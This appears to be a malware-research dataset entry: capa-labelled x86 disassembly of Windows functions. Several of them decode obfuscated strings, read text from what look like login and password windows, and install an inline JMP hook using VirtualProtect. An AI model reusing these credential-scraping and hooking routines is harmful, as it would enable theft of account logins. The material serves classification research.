joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20001380
Capabilities:
Contain obfuscated stackstrings
Delete file
Get file size
Read .ini file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
xor esi, esi
mov eax, 0x696e69
push esi
push esi
push 3
mov edi, 0x525c6174
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
push esi
push 3
lea eax, [ebp - 0x50]
mov ebx, 0x61447265
mov dword [ebp - 0x48], edi
mov edx, 0x6e656365
mov ecx, 0x72655374
mov dword [ebp - 0x6c], edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x80000000
push eax
mov dword [ebp - 0x50], 0x73555c2e
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], 0x2e726576
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x74], 0x73555c2e
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], 0x54726576
mov dword [ebp - 0x5c], 0x2e706d65
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x1c], 0x76726553
mov dword [ebp - 0x18], 0x754e7265
mov dword [ebp - 0x14], 0x6d
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x30], 0x5f74654e
mov dword [ebp - 0x2c], 0x65525f30
mov dword [ebp - 0x28], 0x6e6f6967
mov dword [ebp - 0x24], 0x305f
mov dword [ebp - 0x20], esi
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x20001539
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x2000146e
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], esi
je 0x20001539
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push esi
push esi
push 2
push esi
push 3
lea eax, [ebp - 0x74]
push 0x40000000
push eax
call edi
mov edi, eax
cmp edi, 0xffffffff
je 0x20001525
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, eax
cmp edi, esi
jle 0x20001525
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x30]
push dword [ebp - 0xc]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.MSVCRT.dll_strchr]
lea edi, [edi + edi*2 - 1]
cmp edi, esi
jle 0x2000150c
push esi
push eax
call ebx
pop ecx
cmp eax, esi
pop ecx
je 0x20001509
inc eax
dec edi
jne 0x200014fe
push 0x3d
push eax
call ebx
pop ecx
cmp eax, esi
pop ecx
je 0x20001525
inc eax
push eax
push 0x20005098
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x2000178c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 0x2c]
mov esi, 0x20005240
push eax
push esi
mov dword [ebp - 0x2c], 0x3942457b
mov dword [ebp - 0x28], 0x44303636
mov dword [ebp - 0x24], 0x31452d38
mov dword [ebp - 0x20], 0x342d4443
mov dword [ebp - 0x1c], 0x2d306666
mov dword [ebp - 0x18], 0x39413442
mov dword [ebp - 0x14], 0x4330302d
mov dword [ebp - 0x10], 0x37303944
mov dword [ebp - 0xc], 0x38323946
mov dword [ebp - 8], 0x7d41
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop esi
leave
ret
Function at 0x20001eb7
Capabilities:
Contain obfuscated stackstrings
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov eax, 0x76726553
mov esi, 0x2000539c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
xor ebx, ebx
push eax
push 0x28
push esi
lea eax, [ebp - 0x18]
push 0x20005018
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x614e7265
push eax
mov dword [ebp - 0x20], 0x656d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x7473614c
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], 0x63655c2e
mov dword [ebp - 0x4c], 0x6f685c74
mov dword [ebp - 0x48], 0x692e656d
mov dword [ebp - 0x44], 0x696e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x694c7265
mov dword [ebp - 0x34], 0x442e7473
mov dword [ebp - 0x30], 0x7461
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x20001f68
xor eax, eax
jmp 0x2000205c
lea eax, [ebp - 0x154]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x154]
push 0x80000000
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [edi + 1]
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x2000204f
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2c
push eax
call edi
mov esi, eax
push 0x2c
inc esi
push esi
call edi
push 0x28
push ebx
mov ebx, 0x20005374
mov edi, eax
push ebx
call sub.MSVCRT.dll_memset
sub edi, esi
push edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x28
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002114
Capabilities:
Create thread

Disassembly:
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
xor eax, eax
push eax
push eax
push eax
push 0x20002137
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret
Function at 0x200022f7
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x200053f0]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x20002345
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x2000236f
cmp dword [ebp - 8], ebx
jne 0x20002391
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x20002365
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x200023ae
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x200023b7
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x200053c8
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x200023ec
push 0x20005444
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x200023ec
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x20002406
push 0x28
push 0x20005444
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x200023c5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x2000240b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x200053f0]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x2000247f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x20002430
push 0x28
mov edi, 0x2000541c
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200024e8
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x200053f0]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20002565
push 0x64
call edi
jmp 0x20002558
push ebx
call esi
test eax, eax
je 0x20002582
push 0x28
push 0x2000534c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20002565
call fcn.20002114
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20002809
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20004110
push 0x20003460
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x200028be
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x200028e6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x2000293b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
pop edi
jne 0x20002959
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x20002970
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x20002970
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20002d16
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x104
mov dword [0x200054a4], eax
push ebx
push 0x200054b4
push 0
call esi
cmp dword [ebp + 0xc], 0
je 0x20002dff
cmp dword [ebp + 0xc], 1
jne 0x20002dff
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x200054a4]
call esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [0x200054a4]
push 4
add eax, 0x30
push 4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x200054a4]
mov dword [eax + 0x30], 0x20002e09
cmp dword [0x20005030], 0
je 0x20002dff
mov eax, 0x20005030
mov edi, eax
mov esi, eax
push 0x200054b4
call fcn.200028cd
push eax
call dword [edi]
pop ecx
test eax, eax
pop ecx
jne 0x20002dff
add esi, 4
mov edi, esi
cmp dword [esi], eax
jne 0x20002de3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x411c80
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c52b8
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x642490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [ebp - 0x1a8]
call fcn.00476583
push 0
mov ecx, dword [ebp - 0x1a8]
call fcn.00412e40
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
je 0x411d4b
push 4
lea ecx, [ebp - 0x14]
call fcn.00408390
lea ecx, [ebp - 0x14]
call fcn.00413980
mov dword [ebp - 4], 0
push 0x65
lea ecx, [ebp - 0x14]
call fcn.00413480
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x14]
call fcn.00412e10
movzx eax, al
test eax, eax
jne 0x411d3c
push 0
push 0
push 0x800
mov ecx, dword [ebp - 0x1ac]
call fcn.00412e90
lea ecx, [ebp - 0x14]
call fcn.00405bf0
push eax
push 0x10
push 0
mov ecx, dword [ebp - 0x1ac]
call fcn.00412e90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004139c0
push 1
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ecx + 0xbc]
push edx
mov ecx, dword [ebp - 0x1a8]
call fcn.00412de0
push 0
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax + 0xbc]
push ecx
mov ecx, dword [ebp - 0x1a8]
call fcn.00412de0
lea edx, [ebp - 0x1a4]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [ebp - 0x1a8]
call fcn.00411b30
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058851b
mov esp, ebp
pop ebp
ret

Function at 0x413160
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x413184
xor eax, eax
jmp 0x413204
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41319b
xor eax, eax
jmp 0x413204
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x4131e7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x4131e7
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x4131be
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x4131f3
xor eax, eax
jmp 0x413204
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x413201
xor eax, eax
jmp 0x413204
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x422710
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c64a8
mov eax, dword fs:[0]
push eax
sub esp, 0x3ec
mov eax, dword [0x642490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [ebp + 8]
call fcn.004067b0
push eax
call fcn.00430680
add esp, 8
lea ecx, [ebp - 0x3f8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406730
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058851b
mov esp, ebp
pop ebp
ret
Function at 0x4245d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c6828
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x642490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xc
lea ecx, [ebp - 0x1c]
call fcn.00408390
lea ecx, [ebp - 0x1c]
call fcn.00409f60
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
call fcn.00452500
add esp, 4
lea ecx, [ebp - 0x1c]
call fcn.0040b920
test eax, eax
jne 0x42463c
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040b8a0
jmp 0x424678
cmp dword [0x6436f4], 1
jne 0x42464a
call fcn.00423dd0
cmp dword [0x652000], 0
je 0x424662
mov ecx, dword [0x652000]
push ecx
call fcn.00422790
add esp, 4
push 0
call fcn.00589b50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040b8a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058851b
mov esp, ebp
pop ebp
ret
Function at 0x4272d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c6e13
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x642490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x94], 0
push 0x614cc9
lea ecx, [ebp - 0x58]
call fcn.004066a0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
push eax
lea ecx, [ebp - 0x70]
push ecx
call fcn.00430720
add esp, 8
mov byte [ebp - 4], 1
push 0xc
lea ecx, [ebp - 0x28]
call fcn.00408390
lea ecx, [ebp - 0x28]
call fcn.00409f60
mov byte [ebp - 4], 2
push 0x6157b8
lea ecx, [ebp - 0x88]
call fcn.004066a0
mov byte [ebp - 4], 3
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x70]
push ecx
call fcn.004301b0
add esp, 0xc
push 0xc
lea ecx, [ebp - 0x1c]
call fcn.00408390
lea ecx, [ebp - 0x1c]
call fcn.00409f60
mov byte [ebp - 4], 4
mov dword [ebp - 0x8c], 0
jmp 0x4273ae
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
lea ecx, [ebp - 0x28]
call fcn.0041cfd0
cmp dword [ebp - 0x8c], eax
jae 0x427427
mov eax, dword [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x28]
call fcn.00409fb0
push eax
lea ecx, [ebp - 0x40]
call fcn.00406610
mov byte [ebp - 4], 5
push 0x614cca
lea ecx, [ebp - 0x40]
push ecx
call fcn.0041eb30
add esp, 8
movzx edx, al
test edx, edx
je 0x427416
push 0x6157bc
lea eax, [ebp - 0x40]
push eax
call fcn.0041eb30
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x427416
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x1c]
call fcn.0041cff0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00406730
jmp 0x42739f
mov dword [ebp - 0x90], 0
jmp 0x427442
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
lea ecx, [ebp - 0x1c]
call fcn.0041cfd0
cmp dword [ebp - 0x90], eax
jae 0x427454
jmp 0x427433
lea ecx, [ebp - 0x1c]
call fcn.0041cfd0
cmp eax, 2
jb 0x427474
push 1
lea ecx, [ebp - 0x1c]
call fcn.00409fb0
push eax
lea ecx, [ebp - 0x58]
call fcn.00407150
lea ecx, [ebp - 0x58]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004066e0
mov edx, dword [ebp - 0x94]
or edx, 1
mov dword [ebp - 0x94], edx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1c]
call fcn.00409f90
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x88]
call fcn.00406730
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00409f90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x70]
call fcn.00406730
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00406730
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058851b
mov esp, ebp
pop ebp
ret
Function at 0x437390
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c7eab
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x642490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24c], 0
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0x615b88
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0x250], eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x230]
push edx
call fcn.00430720
add esp, 8
mov dword [ebp - 4], 0
push 0x614ddb
lea eax, [ebp - 0x230]
push eax
call fcn.0040a1b0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x43742c
push 0x615b98
lea ecx, [ebp - 0x230]
call fcn.00408bc0
jmp 0x437457
lea ecx, [ebp - 0x230]
call fcn.004067b0
push eax
call fcn.0043d640
add esp, 4
movzx edx, al
test edx, edx
jne 0x437457
push 0x615b9c
lea ecx, [ebp - 0x230]
call fcn.00408bc0
push 1
push 0
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x230]
call fcn.00430c50
lea ecx, [ebp - 0x248]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004066e0
mov edx, dword [ebp - 0x24c]
or edx, 1
mov dword [ebp - 0x24c], edx
lea ecx, [ebp - 0x248]
call fcn.00406730
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.00406730
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058851b
mov esp, ebp
pop ebp
ret